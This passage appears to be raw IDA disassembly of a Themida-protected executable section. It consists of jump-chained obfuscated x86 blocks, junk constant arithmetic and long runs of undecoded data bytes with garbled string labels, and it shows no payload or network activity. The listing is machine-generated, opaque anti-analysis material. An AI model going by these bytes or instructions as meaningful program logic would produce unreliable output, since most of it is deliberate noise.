		dd 36EE81DEh, 16377B2h,	0BE565EF0h, 40127758h, 6FF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D245:				; CODE XREF: Themida_:0054AEBAj
		sub	ebx, 52283F49h
		jmp	loc_54FD9A
; ---------------------------------------------------------------------------
		dd 8050F780h, 0FE2871C7h, 0C9EE805Bh, 0F0007704h, 59F0E9h
		dd 8BDE2800h, 0C481241Ch, 4, 4856E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D276:				; CODE XREF: Themida_:005544F5j
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_54A031
; ---------------------------------------------------------------------------
aXaD		db 'X€Â¤',0
		db 0D3h, 8Bh, 14h
aSpv		db '$é¯v',0
		align 2
		dw 0CBFEh
		dd 6040E9h, 243CD300h, 1D95E99Ch, 81590000h, 2C5h, 0E2895200h
		dd 4C281h, 13E90000h, 8900003Eh, 29B868E7h, 4890000h, 4B824h
		dd 6AE90000h, 83FFFFF3h, 0CB8904C4h, 4D47E959h,	89590000h
		dd 34FF2457h, 6C0DE924h, 0F7500000h, 57582414h,	0A83970BFh
		dd 450AE94Fh, 4870000h,	0F97E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D2FA:				; CODE XREF: Themida_:005539FCj
		add	esp, 4
		add	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_554C80
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 5C240487h, 8B24048Fh, 0D3662424h, 0E99C2424h
		dd 0FFFFC4E5h, 0D8F7D8F7h, 0FFDE59E9h, 0FFD131FFh, 835A2434h
		dd 6E904C4h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D347:				; CODE XREF: Themida_:0054B049j
		mov	edi, esp
		jmp	loc_54D0C5
; ---------------------------------------------------------------------------


loc_54D34E:				; CODE XREF: Themida_:0054E5FDj
		dec	ebp
		dec	ebp
		sub	ebp, 552264D3h
		jmp	loc_54B703
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 3F91E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D369:				; CODE XREF: Themida_:00550A6Aj
		mov	ebp, 67552A84h
		push	ebx
		mov	ebx, 660C38DEh
		xor	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_54A0C0
; ---------------------------------------------------------------------------
		dw 66B8h
		dd 9361D1Bh, 0F78158C7h, 77110E12h, 3C8BFE89h, 4C48324h
		dd 0FFF5BEE9h, 0F5BA52FFh, 50042758h, 405697B8h, 0E6EBE2Eh
		dd 0C6312A67h, 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0B9515C24h, 12353F0h, 2959CE01h, 60E9E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D3D6:				; CODE XREF: Themida_:0054F391j
		add	ebp, edx
		pop	edx
		jmp	loc_55361C
; ---------------------------------------------------------------------------
		dw 0CF31h
		dd 0CF31F931h, 5505E7C1h, 0CF435BBDh, 0E9EF010Fh, 0FFFFD5A8h
		dd 2FDCEB81h, 0D3012EB9h, 8904EC83h, 0B9512434h, 0F943B47h
		dd 3C50E181h, 0C1813100h, 528E3DE2h, 0E9814949h, 1B914AE3h
		dd 0FB61E981h, 0CE890943h, 5E46E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D429:				; CODE XREF: Themida_:0054BC8Cj
		push	dword ptr [esp]
		jmp	loc_5524E1
; ---------------------------------------------------------------------------
		db 66h,	21h, 4
aSs4		db '$œéá4',0
		align 4
		dd 0EB885AD5h, 57DE959h, 14870000h, 24248B24h, 9C240431h
		dd 0FFC3C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D455:				; CODE XREF: Themida_:0054D12Cj
		shl	ebx, 4
		sub	ebx, 0EFE6FCF1h
		jmp	loc_54E4E2
; ---------------------------------------------------------------------------
aSrs		db 'SRéÕ',7,0
		align 2
		dw 8B66h
		dd 54572414h, 4C7815Fh,	51000000h, 996E9h, 2B85000h, 1000000h
		dd 348758C6h, 0C3E95C24h, 53000080h, 4BBh, 0E9DE0100h
		dd 1E33h, 0B9240C89h, 7FA44807h, 10E4F181h, 0D9F713CAh
		dd 6937E981h, 0CB01164Ah, 81D30159h, 473DE6EBh,	0E2C2E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D4C2:				; CODE XREF: Themida_:00550796j
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_551756
; ---------------------------------------------------------------------------


loc_54D4CC:				; CODE XREF: Themida_:00554582j
		pop	edx
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_551E23
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0BE565C24h, 6C8174BAh, 63ECE681h, 0F6816B48h, 7CE40B9Fh
		dd 8102E6C1h, 91ACD8EEh, 5EF00153h, 2BA52h, 0D0010000h
		dd 2404335Ah, 8177E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D511:				; CODE XREF: Themida_:0054D0DBj
		push	esi
		mov	esi, 3B382D25h
		jmp	loc_54D7BC
; ---------------------------------------------------------------------------


loc_54D51C:				; CODE XREF: Themida_:005506BFj
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_54EEE5
; ---------------------------------------------------------------------------
		db 1
aSsA		db 'éé',8,'A',0
		align 2
		dw 1C87h
		dd 0C3815C24h, 4, 3302C383h, 1C31241Ch,	241C3324h, 0E924248Bh
		dd 0FFFFC50Dh, 7455D168h, 24148B69h, 5557E9h, 240CD300h
		dd 0C2B3E99Ch, 0E959FFFFh, 14C9h, 0DB05F829h, 5F174651h
		dd 2BE9D029h, 5F00003Ch, 4EC8155h, 89000000h, 0D3E9241Ch
		dd 89FFFFC9h, 0EAE92434h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D58F:				; CODE XREF: Themida_:0054F088j
		push	edi
		mov	edi, 70FE5638h
		shr	edi, 3
		push	esi
		mov	esi, 6C5F82h
		jmp	loc_549B15
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C240Ch, 48B2434h, 4C48324h, 66DB68h, 241C8900h
		dd 0FFDBC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D5BD:				; CODE XREF: Themida_:005520CEj
		add	edi, 4
		jmp	loc_55011D
; ---------------------------------------------------------------------------
		dd 0C181595Ah, 4, 28F268h, 24348900h, 436EFCBEh, 81D6F742h
		dd 0D37E34E6h, 68F6814Bh, 81674324h, 0D3346CF6h, 5EF1016Eh
		dd 8B240C87h, 0CFF2424h, 12E99C24h, 81FFFFC2h, 4ECh, 24048900h
		dd 492438B0h, 0C0FED0F6h, 0C300132Ch, 0FFF503E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D61D:				; CODE XREF: Themida_:0054CAA8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54BC91
; ---------------------------------------------------------------------------
		dw 2068h
		dd 89000006h, 3FE9241Ch, 8900003Bh, 14F7241Ch, 2978E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D63E:				; CODE XREF: Themida_:0054F300j
		sub	edx, 4
		jmp	loc_54CE89
; ---------------------------------------------------------------------------
aSA_0		db '[é',7,'€',0
		dw 5A00h
		dd 0FA31D731h, 8147D731h, 0CB105FCFh, 85C7810Ch, 1311447h
		dd 467FE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D66A:				; CODE XREF: Themida_:0054B356j
		mov	ebp, 0E0BA7AFAh
		jmp	loc_550EF5
; ---------------------------------------------------------------------------
		dd 0D588C2B2h, 1CF5805Ah, 0FFC212E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D681:				; CODE XREF: Themida_:0054E3A8j
		mov	ebx, edx
		jmp	loc_553685
; ---------------------------------------------------------------------------
aRs_		db 'RéÙ_',0
		align 2


loc_54D68E:				; CODE XREF: Themida_:00550DFBj
		xchg	eax, edx
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_5509F1
; ---------------------------------------------------------------------------
		dd 617EEB81h, 83592CB4h, 416802C3h, 0E9000051h,	7CC7h
		dd 53240489h, 0F8883FB7h, 83241C8Bh, 0C53004C4h, 8324048Bh
		dd 0EC8804C4h, 58E30059h, 2D95E9h, 1C316600h, 7BC6E924h
		dd 0C3830000h, 241C8704h, 2404215Ch, 0C12FE99Ch, 0F181FFFFh
		dd 5A32DB93h, 0D5E9C831h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D6F3:				; CODE XREF: Themida_:005527FFj
		add	ebx, 24552644h
		jmp	loc_54FFE4
; ---------------------------------------------------------------------------
		dw 3ABBh
		dd 0E9445905h, 0FFFFDC2Ah, 424CE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D70E:				; CODE XREF: Themida_:0055309Dj
		pop	eax
		jmp	loc_54A598
; ---------------------------------------------------------------------------
		dd 0D028762Ch, 184E952h, 0D7F70000h, 0CF87F987h, 6EBEC781h
		dd 81574E19h, 20ED2404h, 815956D4h, 0D420EDE9h,	6C815F56h
		dd 49570424h, 65E9050Dh, 33000032h, 1C31241Ch, 241C3324h
		dd 0FF24248Bh, 34FF2434h, 240C8B24h, 4C481h, 9AE90000h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D767:				; CODE XREF: Themida_:0054FA6Cj
		mov	edx, 2F1345C7h
		add	ebx, 24BD4E81h
		sub	ebx, edx
		sub	ebx, 24BD4E81h
		jmp	loc_55101C
; ---------------------------------------------------------------------------
		db 83h
		dd 8EE902C1h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D787:				; CODE XREF: Themida_:005538BFj
		push	ebx
		mov	ebx, 6E00BD0h
		jmp	loc_5516FD
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 0F75C2404h, 735068E9h, 34890000h, 815E5424h,	4C6h, 0BFBD5500h
		dd 0E9165E56h, 3CA1h, 0E95BD801h, 76C1h
; ---------------------------------------------------------------------------


loc_54D7BC:				; CODE XREF: Themida_:0054D517j
		or	ebx, esi
		jmp	loc_554CE4
; ---------------------------------------------------------------------------


loc_54D7C3:				; CODE XREF: Themida_:005510BFj
		add	eax, 17302BB0h
		add	eax, edx
		sub	eax, 17302BB0h
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_552200
; ---------------------------------------------------------------------------
aQS		db 'Áï',7,'é×',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_54D7E3:				; CODE XREF: Themida_:0054AFFBj
		neg	ecx
		add	ecx, 6A804419h
		jmp	loc_552F70
; ---------------------------------------------------------------------------
		dd 50241489h, 0C01BE99Ch, 0E089FFFFh, 0FFECDCE9h, 4EC83FFh
		dd 53240489h, 0D9647CBBh, 0E9D88901h, 7A31h
; ---------------------------------------------------------------------------


loc_54D814:				; CODE XREF: Themida_:00550F15j
		xor	ecx, 540C4ABBh
		and	ecx, 4A432BEh
		sub	ecx, 54C922B8h
		jmp	loc_54D9A4
; ---------------------------------------------------------------------------


loc_54D82B:				; CODE XREF: Themida_:0055266Fj
		xchg	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_54FA5A
; ---------------------------------------------------------------------------
aNs_		db '­éÒ_',0
		align 2
		dw 34FFh
aS_5		db '$éÝ',9,0
		align 2
		dw 3C89h
		dd 36FCE924h, 0E95C0000h, 0B82h
; ---------------------------------------------------------------------------


loc_54D854:				; CODE XREF: Themida_:0055215Fj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_551A79
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 8B24048Fh, 34FF2424h,	2434FF24h, 289DE95Ah
		dd 1C890000h, 0F04BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D882:				; CODE XREF: Themida_:00550411j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_551F74
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0BD37C781h, 0EC8349F9h, 4D0FE904h, 0B1B20000h, 8053EA80h
		dd 0D00018C2h, 5A2434FFh, 4C481h, 8B660000h, 70682414h
		dd 8900006Ah, 5F54243Ch, 4C781h, 0C7810000h, 2,	8B243C87h
		dd 0EB802424h, 35B6522Ah, 3280E9h, 4896600h, 28C7B024h
		dd 805866C1h, 0E1C0C0E9h, 0B8F18004h, 0E92C132Ch, 3F2FE9h
		dd 0E9EA8100h, 5031B92Ch, 0B8h,	92D02900h, 5BF5758h, 11D135Bh
		dd 243C8BFAh, 4C481h, 6DE90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D923:				; CODE XREF: Themida_:0054C31Dj
		mov	ecx, esp
		push	ebx
		jmp	loc_54E2EC
; ---------------------------------------------------------------------------


loc_54D92B:				; CODE XREF: Themida_:00553D81j
		pop	edx
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 57E34CD5h
		add	ebp, 1
		xor	ebp, 24D1094Bh
		mov	edx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_54C5E5
; ---------------------------------------------------------------------------


loc_54D94C:				; CODE XREF: Themida_:0055315Dj
		shr	edi, 4
		xor	edi, 0AFB2425h
		xor	edi, 670A4Dh
		inc	edi
		push	ecx
		mov	ecx, 516F8759h
		add	edi, ecx
		jmp	loc_54A0DB
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 6
		dd offset dword_44377C+36Dh
		dd 241C8700h, 2414895Ch, 96E99C50h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D97F:				; CODE XREF: Themida_:00554FE6j
		shl	bh, 5
		xor	bh, 53h
		add	dh, bh
		pop	ebx
		sub	dh, bh
		push	eax
		mov	ah, 0BBh
		xor	ah, 0A8h
		sub	dh, ah
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xor	dh, 76h
		sub	al, dh
		pop	edx
		jmp	loc_549CD2
; ---------------------------------------------------------------------------


loc_54D9A4:				; CODE XREF: Themida_:0054D826j
		push	ebp
		mov	ebp, 58B624C7h
		shl	ebp, 4
		add	ebp, 0C0D403E0h
		jmp	loc_553337
; ---------------------------------------------------------------------------
		dd offset dword_58C300
		dd 1CE95BDEh, 51FFFFE7h, 0CB08B9B1h, 2EBC059h, 0FFF8C1E9h
		dd 242C8BFFh, 1F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D9D9:				; CODE XREF: Themida_:0054BCA8j
		push	edi
		jmp	loc_54D214
; ---------------------------------------------------------------------------
		db 89h
		dd 4812404h, 0E87C4A24h, 24148B0Ch, 4C481h, 0EC830000h
		dd 24348904h, 6CE0E9h, 4EC8300h, 0FFF68DE9h, 0C60159FFh
		dd 5EF58958h, 34FFEF01h, 89525D24h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 2C7835Ch, 4B1DE9h, 4C78100h, 0E9000000h
		dd 4990h
; ---------------------------------------------------------------------------


loc_54DA38:				; CODE XREF: Themida_:005498CAj
		push	eax
		push	ecx
		push	7C453357h
		jmp	loc_54C857
; ---------------------------------------------------------------------------
		dd 5B55535Dh, 87D5F75Dh, 39A6E9EBh, 7C010000h, 0E95F0824h
		dd 0FC6h, 240C8B66h, 165068h, 3E4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DA6A:				; CODE XREF: Themida_:00554935j
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_555210
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0C3h
		dd 56446D1Dh, 221D4D68h, 0F1015E48h, 0E9F9015Eh, 24C4h
		dd 2B1368h, 242C8900h, 636574BDh, 6570BE1Dh, 0EE311D63h
		dd 0FFD7CAE9h, 1DBB53FFh, 896E1A07h, 5EE95BDEh,	5000002Eh
		dd 0E8F1E952h, 4F21FFFFh, 2434FF1Ch, 4C48359h, 0FFBD3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DAD9:				; CODE XREF: Themida_:00550DB4j
		mov	[esp], edi
		jmp	loc_5536AE
; ---------------------------------------------------------------------------
		db 58h,	5Ah, 83h
		dd 896602ECh, 51522404h, 0EE88FD88h, 0F7885359h, 6061E9h
		dd 0C8B6600h, 26F96824h, 14890000h, 81E28924h, 4C2h, 4B95100h
		dd 29000000h, 143359CAh, 2D90E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DB1E:				; CODE XREF: Themida_:00552CE1j
		pop	ecx
		jmp	loc_552784
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 2CE92404h, 0ADFFFFF8h, 81E68956h,	4C6h, 4EE8300h
		dd 0E9243487h, 0FFFFCD26h, 8B2434FFh, 24E9240Ch, 0C1FFFFDBh
		dd 0D5F704E5h, 96C58145h, 814F622Fh, 1D0C7EE5h,	47C5812Dh
		dd 111DB07h, 48E95DE9h,	0B9000006h, 0A777779h, 0C87AE981h
		dd 0CF29FDD7h, 8BF80159h, 0C7E9243Ch, 80000006h, 0F8E901E9h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB8F:				; CODE XREF: Themida_:0054AE39j
		sub	edi, 5B15101Fh
		add	edi, 0ACE77368h
		xor	ebx, edi
		pop	edi
		add	eax, 34956C0Ah
		add	eax, ebx
		sub	eax, 34956C0Ah
		jmp	loc_55550D
; ---------------------------------------------------------------------------


loc_54DBAF:				; CODE XREF: Themida_:0054FE7Dj
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_554133
; ---------------------------------------------------------------------------
		dd 0E904C483h, 779Ah, 0E9243C87h, 17CAh, 4C481h, 0CF810000h
		dd 20D07ADBh, 8152EFD1h, 4ECh, 240C8900h, 0C52B00B9h, 3E9C13Bh
		dd 5EE9D1F7h, 50FFFFF5h, 0FFFBFF68h, 24048BFFh,	4C481h
		dd 47210000h, 2434FF1Ch, 6003E958h, 1C870000h, 3C895C24h
		dd 2741BF24h, 0FA291DD7h, 52243C8Bh, 0C2815A54h, 4, 4C281h
		dd 14870000h, 0C2015C24h, 2741C281h, 0FBE91DD7h, 0B200000Ch
		dd 0C0CAFE64h, 0EA8005EAh, 5AD788D0h, 4DB65266h, 427E9h
		dd 0F1015D00h, 2C1835Eh, 8B240C87h, 0F7662424h,	0E28952F9h
		dd 6174E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DC6E:				; CODE XREF: Themida_:00555804j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	edi
		push	4D3Fh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 1515E8h
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5516F0
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 42h
		dd 5356C281h, 0D3019201h, 1CEB815Ah, 811F952Eh,	0F9F8DAEBh
		dd 5BDE3127h, 25C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DCB1:				; CODE XREF: Themida_:00551955j
		mov	[esp], edi
		push	5285h
		jmp	loc_549ED0
; ---------------------------------------------------------------------------


loc_54DCBE:				; CODE XREF: Themida_:00554950j
		and	eax, 72B43225h
		shr	eax, 8
		sub	eax, 1223FEh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		add	bl, al
		sub	bl, 40h
		push	1A01h
		mov	[esp], ecx
		push	38h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 60341FE8h
		add	ecx, 32C805F4h
		add	ecx, eax
		sub	ecx, 32C805F4h
		jmp	loc_54BEFE
; ---------------------------------------------------------------------------


loc_54DD18:				; CODE XREF: Themida_:0054EBA3j
		sub	ebp, 64EF1F95h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54C262
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C242CD3h, 0FFBADCE9h, 240C89FFh, 0BF57E189h, 44A8686Dh
		dd 0FFF202E9h, 0DE956FFh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DD4F:				; CODE XREF: Themida_:0055376Bj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55233C
; ---------------------------------------------------------------------------


loc_54DD5F:				; CODE XREF: Themida_:0054CF46j
		dec	bh
		not	bh
		jmp	loc_54BF70
; ---------------------------------------------------------------------------
aS_6		db '^é (',0
		align 2
		dw 5BBDh
		dd 0F7721C19h, 50F581DDh, 0E984EDF3h, 0FFFFD7B5h
; ---------------------------------------------------------------------------


loc_54DD80:				; CODE XREF: Themida_:0055035Aj
		mov	ebx, 17850F79h
		not	ebx
		jmp	loc_54C5A0
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFBA79h, 8BBB53ADh
		dd 295E3900h, 212AE9D8h, 0C4800000h, 0AEC803Ah,	0F480C4FEh
		dd 58E300FFh, 0EB80E300h, 6497E96Ch, 8B660000h,	0B668240Ch
		dd 8900003Ch, 8B54243Ch, 0C483243Ch, 4332E904h,	76680000h
		dd 0E9000079h, 0FFFFE3F8h
; ---------------------------------------------------------------------------


loc_54DDE4:				; CODE XREF: Themida_:0054D120j
		pop	dword ptr [esp]
		push	edi
		not	dword ptr [esp]
		jmp	loc_550B4C
; ---------------------------------------------------------------------------
		dd 2803C180h, 240C8BCFh, 38D9E9h, 2BD00h, 0EA010000h, 74FF525Dh
		dd 8F5A0424h, 87E92404h, 0B900006Ah, 2,	0C8BCF01h, 4C48124h
		dd 87000000h, 8AE9243Ch, 81000010h, 3D4E7FC3h, 0EDE4E95Dh
		dd 1489FFFFh, 0B974BA24h, 0D1290041h, 8124148Bh, 4C4h
		dd 54F9E900h, 4890000h,	52E08924h, 1F2011BAh, 35BE562Ah
		dd 8163E721h, 0E64F36CEh, 3C7CE94Ah, 0C8B0000h,	0E7895724h
		dd 4C781h, 0C7810000h, 4, 0FFD3E6E9h, 4BBFFh, 0D9290000h
		dd 81241C8Bh, 4C4h, 240C8700h, 242C895Ch, 2434FF54h, 81242C8Bh
		dd 4C4h, 4C48300h, 4BF57h, 0FD010000h, 2C5815Fh, 33000000h
		dd 2C31242Ch, 242C3324h, 0FFD295E9h, 77E95EFFh,	3100002Fh
		dd 7AE9241Ch, 81FFFFEDh, 4EAh, 74FF5200h, 8F5A0424h, 895C2404h
		dd 0FCB82404h, 52000003h, 621476BAh, 4862E961h,	89530000h
		dd 4C381E3h, 83000000h,	13E904C3h, 89FFFFE7h, 0E189240Ch
		dd 5F1FBE56h, 0D6F71E35h, 117FE9h, 88535900h, 885150C7h
		dd 8BCC88F9h, 0C483240Ch, 58E18804h, 0CB88585Bh, 0B85059h
		dd 0E9000000h, 0FFFFDE0Bh, 7501E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DF42:				; CODE XREF: Themida_:00553B55j
		inc	ebp
		sub	ebp, 286F3FB0h
		add	ebp, 48934BB0h
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		jmp	loc_54C909
; ---------------------------------------------------------------------------
		dw 0EABEh
		dd 290C7B07h, 8B042474h, 0C4832434h, 4EC8104h, 89000000h
		dd 0AABD242Ch, 1647231h, 5D04246Ch, 81240429h, 31AA242Ch
		dd 0B8506472h, 0C7B07EAh, 4244481h, 180B55D5h, 44A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DF99:				; CODE XREF: Themida_:00554AF5j
		not	ecx
		shr	ecx, 5
		push	eax
		mov	eax, 0
		push	edi
		mov	edi, 4284053h
		dec	edi
		shr	edi, 1
		jmp	loc_54F3F0
; ---------------------------------------------------------------------------
aXs		db 'Xé$"',0
		align 4
		dd 0C7805A66h, 0AFC7802Bh, 6414E9h, 0E9D72000h,	0FFFFFFECh
; ---------------------------------------------------------------------------


loc_54DFCC:				; CODE XREF: Themida_:0054AF83j
		mov	[esp], eax
		jmp	loc_552607
; ---------------------------------------------------------------------------
		dd 240C8B66h, 5D6A68h, 240C8900h, 521DE954h, 515A0000h
		dd 699EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54DFED:				; CODE XREF: Themida_:005513DAj
		pop	ebp
		add	ebp, 4DEA6C45h
		or	ebp, 6FC3526Ch
		xor	ebp, 4E145E70h
		add	ebp, 6FC774B8h
		shl	ebp, 8
		xor	ebp, 0D5840599h
		sub	eax, ebp
		jmp	loc_54E386
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 686602B6h, 89660071h, 0EEE92404h, 5EFFFFB7h,	5359CD01h
		dd 73920BBh, 6E3C164h, 411DBA52h, 0E94251AAh, 4DE6h, 5D2434FFh
		dd 2CF5E953h, 34330000h, 24343124h, 0CE5E9h, 56E58900h
		dd 1F5176BEh, 21E8E93Ch, 0F8890000h, 81243C8Bh,	4C4h, 0B7A3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E072:				; CODE XREF: Themida_:0054A286j
		mov	ebx, 22DD1CCEh
		jmp	loc_553FE4
; ---------------------------------------------------------------------------
		dd 5A66F720h, 0C668D7F6h, 8900006Ah, 0F3B5240Ch, 0C8BEF30h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 80C7FE5Ch
		dd 0F828BEEFh, 83241C8Bh, 0E6E904C4h, 66000016h, 665EF189h
		dd 0E907E1C1h, 276Bh, 8B2434FFh, 0C483240Ch, 5FD7E904h
		dd 31AD0000h, 0E28952D8h, 4C281h, 0BE560000h, 4, 0FFBA9BE9h
		dd 4C381FFh, 83000000h,	0EFE904EBh, 5CFFFFBDh, 0E9241489h
		dd 0FFFFD66Ch
; ---------------------------------------------------------------------------


loc_54E0FC:				; CODE XREF: Themida_:005517ECj
		pop	ecx
		jmp	loc_54BC3D
; ---------------------------------------------------------------------------
		dw 0FE5Bh
		dd 0FFED80CDh, 50ACF580h, 0E90AB252h, 2042h, 0EB6853B6h
		dd 8900000Ah, 0B252240Ch, 5AD588E7h, 0F607EDC0h, 0E9EDD0DDh
		dd 0FFFFD3B9h, 24048B66h, 1D4C68h, 240C8900h, 4D89E9h
		dd 24343100h, 31243433h, 89532434h, 22BA52E3h, 0F7020C09h
		dd 5E2C1DAh, 1D9AE9h, 0D685F00h, 89000021h, 4B82404h, 1000000h
		dd 0C78358C7h, 243C8704h, 2414875Ch, 0C885665Ch, 0E38AE99Ch
		dd 5166FFFFh, 0E82881B5h, 240C8B66h, 2E04E9h, 4C38100h
		dd 56000000h, 42BE9h, 28AB0400h, 24048BC3h, 8004C483h
		dd 2268FFC3h, 89000004h, 0DFE92404h, 81000006h,	0E365E5C9h
		dd 0F7E9D12Ah, 4E9C1D9h, 0DE3FC181h, 0C831546Fh, 1EB3E959h
		dd 34890000h, 4EC8324h,	81242489h, 42404h, 34FF0000h, 9AE95E24h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E1EB:				; CODE XREF: Themida_:005504F7j
		add	ebx, eax
		jmp	loc_552D0C
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 5EDEE9h, 0B8505B00h,	2, 62E9C101h, 66FFFFE8h, 55240C8Bh
		dd 71DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E211:				; CODE XREF: Themida_:00549B2Cj
		pop	esi
		push	ecx
		mov	ecx, 5A832902h
		add	ecx, 79776464h
		jmp	loc_5535C2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4C4h, 7B16800h, 14890000h, 3C66824h, 8FE90000h
		dd 0F700003Ch, 81D687D2h, 1C7A5FCEh, 73BE94Ah, 0C4810000h
		dd 4, 0BF57D829h, 719B4C11h, 0A0E7814Fh, 81768821h, 3F30D0EFh
		dd 2EFC10Fh, 0E2CBB951h, 0CF290271h, 67D3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E27A:				; CODE XREF: Themida_:00549BEBj
		add	esp, 4
		add	ebx, 0ED02E3Ah
		sub	ebx, 244A16C1h
		jmp	loc_550A6F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 5274BF24h, 0FA0172D3h, 241C8B5Fh, 904C483h, 685A1C57h
		dd 4561h, 81242C89h, 4ECh, 1D99E900h, 53570000h, 4B1854BBh
		dd 202BE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E2C6:				; CODE XREF: Themida_:0054BD20j
		mov	[esp], ebp
		mov	ebp, 654B53D2h
		push	edi
		jmp	loc_54C128
; ---------------------------------------------------------------------------
aQSyhs		db 'Q¹Å',1Bh,'èYh‘^',0
		dw 8900h
		dd 2ABE2434h, 0E9453422h, 0EC8h
; ---------------------------------------------------------------------------


loc_54E2EC:				; CODE XREF: Themida_:0054D926j
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_54C973
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFD09Ah, 2960BF57h, 0EFD1157Ah, 9AE7814Fh
		dd 81001714h, 58161AF7h, 0E9F9897Dh, 0FFFFD759h, 4EA81h
		dd 14870000h, 4895C24h,	0A7E6824h, 24890000h, 24048124h
		dd 4, 18526858h, 2C890000h, 0C4FAE924h,	34FFFFFFh, 89525824h
		dd 4BE56E2h, 1000000h, 0C2815EF2h, 4, 8B241487h, 3BE92424h
